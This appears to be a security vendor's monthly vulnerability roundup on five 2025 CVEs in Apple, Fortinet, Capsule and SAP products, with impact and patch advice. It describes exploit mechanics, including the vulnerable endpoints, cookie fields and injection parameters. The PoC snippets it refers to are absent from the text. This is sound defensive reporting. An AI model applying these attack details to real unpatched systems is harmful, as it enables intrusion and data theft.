The Bug Report – August 2025 Edition

By Jonathan Omakun, Tola Olawale · August 27, 2025

Why am I here?

Welcome back to The Bug Report! Did you miss us? The Trellix Advanced Research Center has been playing a high-stakes game of whack-a-mole with this month's vulnerabilities. We've dug through all the dirt so you don't have to, and we’re here to give you the real gems—the most interesting bugs you need to know about. This August is a real treat, as a certain vendor decided to give us a two-for-one special.

Here are the five big hitters we're focusing on:

CVE-2025-43300 Apple iOS, iPadOS, macOS, Out-of-bounds Write

CVE-2025-52970 Fortinet FortiWeb, Authentication Bypass

CVE-2025-55205 Capsule Kubernetes, Cross-Tenant Access

CVE-2025-42999 SAP NetWeaver Visual Composer Metadata Uploader, Deserialization

CVE-2025-25256 Fortinet FortiSIEM, OS Command Injection

CVE-2025-43300: An apple a day won't keep hackers away

What is it?

Hold onto your iPhones, folks, because Apple has just been hit with a zero-day that's less "easy-peasy" and more "oh-no-a-nation-state-got-in." CVE-2025-43300 is a critical zero-day vulnerability affecting Apple's Image I/O framework, which is a core component for handling image processing across iOS, iPadOS, and macOS. The vulnerability is classified as an out-of-bounds write, which is a fancy way of saying "an attacker can write bad stuff where it doesn't belong," leading to potential memory corruption and code execution.

What makes this particularly terrifying is that it's a "zero-click" attack. That's right, simply processing a specially crafted, malicious image file—which can be delivered through a text message, email, or a website—can be enough to compromise your device without you doing a single thing. Apple has publicly acknowledged that this vulnerability has been exploited in the wild as part of "an extremely sophisticated attack against specific targeted individuals." So, while your average script kiddie isn't using this, the bad guys with the big budgets and government-backed espionage tools certainly are.

Who cares?

Unless you've been living under a rock, you probably have an Apple device. And if you do, you're a potential target. This vulnerability's widespread impact across the entire Apple ecosystem—including iOS, iPadOS, and macOS—makes it a high-priority concern for all users. 

The exploitation is particularly dangerous because it doesn't require complex user interaction; simply opening or viewing a malicious image file can be enough to trigger the exploit, potentially leading to a "zero-click" attack scenario where the victim's device is compromised without any action on their part. This type of vulnerability has been historically used in sophisticated spyware campaigns, such as those associated with Pegasus, where the goal is espionage and the exfiltration of sensitive information.

What can I do?

Don't wait for your device to tell you there's a problem. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has already added this CVE to its Known Exploited Vulnerabilities (KEV) catalog, so you should be patching as if your life depends on it—because it just might. Apple has released patches for:

• macOS Sonoma 14.7.8
• macOS Ventura 13.7.8
• macOS Sequoia 15.6.1
• iOS 18.6.2
• iPadOS 18.6.2

Immediately update all your Apple devices to the latest security-patched versions. Be cautious of unsolicited or suspicious image files, and remember that even if you don't click, you might still be at risk.

CVE-2025-52970: Fortiweb’s, not your average authentication bypass

What is it?

CVE-2025-52970 is an authentication bypass vulnerability affecting multiple versions of Fortinet FortiWeb, a web application firewall (WAF). It's a textbook example of a bug that should have been caught during development.

Dubbed "FortMajeure" by security researcher Aviv Y, the flaw is an out-of-bounds (OOB) read in FortiWeb's cookie parsing logic. By manipulating the Era parameter in a session cookie, an attacker can trick the server into using a secret key with all the entropy of a blank piece of paper.

The vulnerability, therefore, allows an attacker to forge a valid authentication cookie and impersonate any active user on the device, including an administrator. It's a "silent failure that wasn't meant to happen," where a system built to protect ends up trusting nothing as everything. The vulnerability also requires an attacker to brute-force a small numeric field in the cookie, but with a search space of around 30, it's about as difficult as guessing a two-digit number.

Who cares?

If you're using Fortinet FortiWeb for your web application security, you care. This vulnerability allows an unauthenticated, remote attacker to gain administrative privileges on a vulnerable device. Given that FortiWeb is designed to protect your most critical web resources, a compromise of the WAF itself is catastrophic. While the vendor initially gave it a deceptive CVSS score of 7.7 (High), citing "high attack complexity," the public proof-of-concept (PoC) code demonstrates that the required brute-forcing is about as difficult as finding a single sock in a load of laundry.

Since public PoC code is available and the technical details are out, it's only a matter of time before widespread attacks begin, if they haven't already. While the researcher has withheld the full PoC for the command-line interface (CLI) to give defenders more time to patch, the core of the issue is fully exposed. A snippet from the PoC shows a successful administrative login, retrieving system status information that should only be available to an authenticated user:

The PoC works by first triggering the OOB read to obtain a "magic" number, then using a crafted payload to bypass authentication, as shown below:

What can I do?

Fortinet has released fixes for this vulnerability in FortiWeb versions 7.6.4, 7.4.8, 7.2.11, and 7.0.11 and later. You should immediately upgrade to the latest patched version. There are no known workarounds, so upgrading is your only effective course of action.

CVE-2025-55205: Don't mess with system namespaces!

What is it?

CVE-2025-55205 is a critical authorization bypass and privilege escalation vulnerability affecting Capsule, a multitenancy framework for Kubernetes. It's a classic logical flaw where the system's design has a single point of failure, much like a Jenga tower with one block missing from the very bottom. The vulnerability lies in the namespace validation webhook, which fails to properly check a namespace's ownership if it lacks a capsule.clastix.io/tenant label. System namespaces like kube-system and default don't have this label by default, making them prime targets.

An authenticated tenant user with basic permissions can exploit this flaw by injecting an arbitrary label into a system namespace. This malicious label, when matched by a >TenantResource selector, can trick Capsule into granting the user access to resources they shouldn't be able to reach, effectively bypassing multitenant isolation. It's an issue of "incorrect authorization," or CWE-863, and it fundamentally breaks the multitenant security model.

Who cares?

If you're using Capsule to manage a multitenant Kubernetes cluster, this is a five-alarm fire. This vulnerability allows a low-privileged tenant user to escalate their privileges, access cross-tenant resources, and exfiltrate sensitive data from system components. An attacker could potentially steal secrets from the kube-system namespace, modify critical system configurations, and bypass network policies. It's the equivalent of a hotel guest using a skeleton key to access every other room on the floor.

With a CVSS score of 9.9, this vulnerability poses a severe risk to cloud service providers and organizations that rely on Capsule for tenant isolation. The availability of a public PoC code makes this an immediate and critical threat. It demonstrates the attack in three simple steps: first, injecting a malicious label into a system namespace; second, creating a TenantResource object that targets this injected label; and finally, verifying cross-tenant access.

The core of the exploit lies in a single, flawed conditional check within the patch.go file:

This code snippet illustrates that the webhook only enforces tenant ownership if a namespace already has a tenant label, allowing attackers to bypass the check entirely on system namespaces. The PoC then shows the success of the attack by verifying that the injected label is present and that system namespace resources can be accessed:

What can I do?

• Immediately upgrade your Capsule installation to version 0.10.4 or later. The patch fixes the flawed validation logic, ensuring that all namespaces are properly checked, regardless of whether they have a tenant label. 
• Review your TenantResource selectors to ensure they are configured securely and don't inadvertently grant access to system namespaces.

CVE-2025-42999: The dangerous duo from SAP

What is it?

This is a tale of two vulnerabilities, a prequel and a sequel, working in perfect, malicious harmony. CVE-2025-42999 is a critical deserialization vulnerability in SAP NetWeaver Visual Composer Metadata Uploader>, and it's being chained with CVE-2025-31324 to achieve remote code execution (RCE) with no authentication required. It’s like a cybercrime buddy-cop movie where the first cop, a file upload flaw, holds the door open, and the second cop, a deserialization bug, walks right in and takes over the whole building.

CVE-2025-31324 is an initial authentication bypass flaw that allows an attacker to upload arbitrary files to a vulnerable SAP NetWeaver system. Once a malicious file (like a webshell) is uploaded, CVE-2025-42999, a deserialization bug, is used to execute the malicious code. The combination of these two bugs turns a simple file upload into a full-blown system compromise. The vulnerability is tied to the way SAP NetWeaver handles untrusted data, allowing an attacker to execute arbitrary commands with SAP administrator privileges (adm).

Who cares?

If your organization uses SAP NetWeaver, you need to care. This exploit chain is not theoretical; it has been actively exploited in the wild since at least January 2025. The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added both CVEs to its Known Exploited Vulnerabilities (KEV) catalog, mandating that federal agencies patch their systems.

The public release of a working exploit on a Telegram channel, allegedly by groups like LAPSUS$ and Scattered Spider, means that even less-skilled attackers can now leverage these vulnerabilities. With ><sid>adm access, an attacker gains full access to all SAP resources, including the database. This could lead to a catastrophic business impact, including ransomware deployment, data exfiltration, and financial record modification.

The PoC, clearly marked with a "MADE BY SCATTERED LAPSUS$ HUNTERS" banner, demonstrates how an attacker can either drop a webshell or execute a command directly on the target. The core of the exploit involves sending a specially crafted serialized object within a .zip file. This object, when deserialized by the vulnerable MetadataUploader service, executes the attacker's payload. The PoC script shows the simplicity of dropping a webshell:

The script's core functionality is to create a .zip file containing a payload and send it to the /developmentserver/metadatauploader endpoint. The sendReq function handles the connection and sends the malicious .zip, and the rest is handled by the vulnerable SAP component.

What can I do?

• Immediately apply the latest security patches from SAP. Specifically, apply SAP Security Note 3604119 which addresses the root cause of the deserialization flaw and bundles the fix for CVE-2025-31324.
• For a quick check for signs of compromise, you can look for unfamiliar files like .jsp, .java, or .class in irj/root and irj/work directories.

CVE-2025-25256: The one that’s not "para-safe"

What is it?

Welcome to the latest chapter in the Fortinet saga. CVE-2025-25256 is a critical pre-authentication OS command injection vulnerability in FortiSIEM, a security information and event management platform. The flaw is rooted in the phMonitor service, which listens on TCP port 7900. An attacker can exploit this by sending a specially crafted XML payload containing a command injection. The payload exploits a flaw in the ShellCmd::addParaSafe function, which was supposed to be the bouncer for your system, but instead, it lets anyone in with a backtick and a smile. It failed to properly neutralize special characters like backticks (``) and dollar-sign braces ($()).

When the phMonitor service processes this payload, it constructs an OS command and executes the malicious input with the privileges of the service. Exploitation does not require authentication or user interaction, making it a highly critical, one-shot kill. Fortinet has even admitted that a "practical exploit code for this vulnerability was found in the wild."

Who cares?

If you're running a vulnerable version of FortiSIEM, you should be dropping everything to patch. A compromise of your SIEM is about as bad as it gets. It's the core of your security operations, a central nervous system for threat detection. An attacker who gains RCE on your SIEM can not only tamper with event logs to hide their tracks, but also use it as a launching pad to pivot to other critical systems on your network.

Given the public PoC and the vendor's admission of in-the-wild exploitation, this is an immediate and severe threat. The script demonstrates how to craft a TLS-wrapped TCP message with an XML payload to trigger the command injection. The XML_TEMPLATE within the PoC is the key component that allows the injection. It works in two main steps:

1. XML Payload Construction: The script constructs an XML payload where the archive_nfs_archive_dir parameter contains the malicious command. The vulnerable function ShellCmd::addParaSafe fails to properly sanitize the backticks (``) and dollar-sign braces ($()), allowing the command to be executed.
2. TLS-wrapped TCP Message: The script then builds a message with a header and the XML payload, wrapping it in a TLS connection to send to the phMonitor service on port 7900.

The XML_TEMPLATE below shows how the command is embedded, with the variable >peanut being replaced by the user-supplied command:

The Python script's exploit function then sends this payload to the target. The build_message function is responsible for creating the header that the phMonitor service expects.

What can I do?

Fortinet has released patches for multiple versions of FortiSIEM. You must immediately apply the security patches released by the vendor. For versions that are no longer supported (6.6 and earlier), you must migrate to a supported release. If you can't patch immediately, Fortinet recommends limiting access to the phMonitor port (7900) as a workaround.

Make sure you also maintain up-to-date backups of your FortiSIEM configurations and data to help with restoration and recovery in case of a successful attack.

Discover the latest cybersecurity research from the Trellix Advanced Research Center: https://www.trellix.com/advanced-research-center/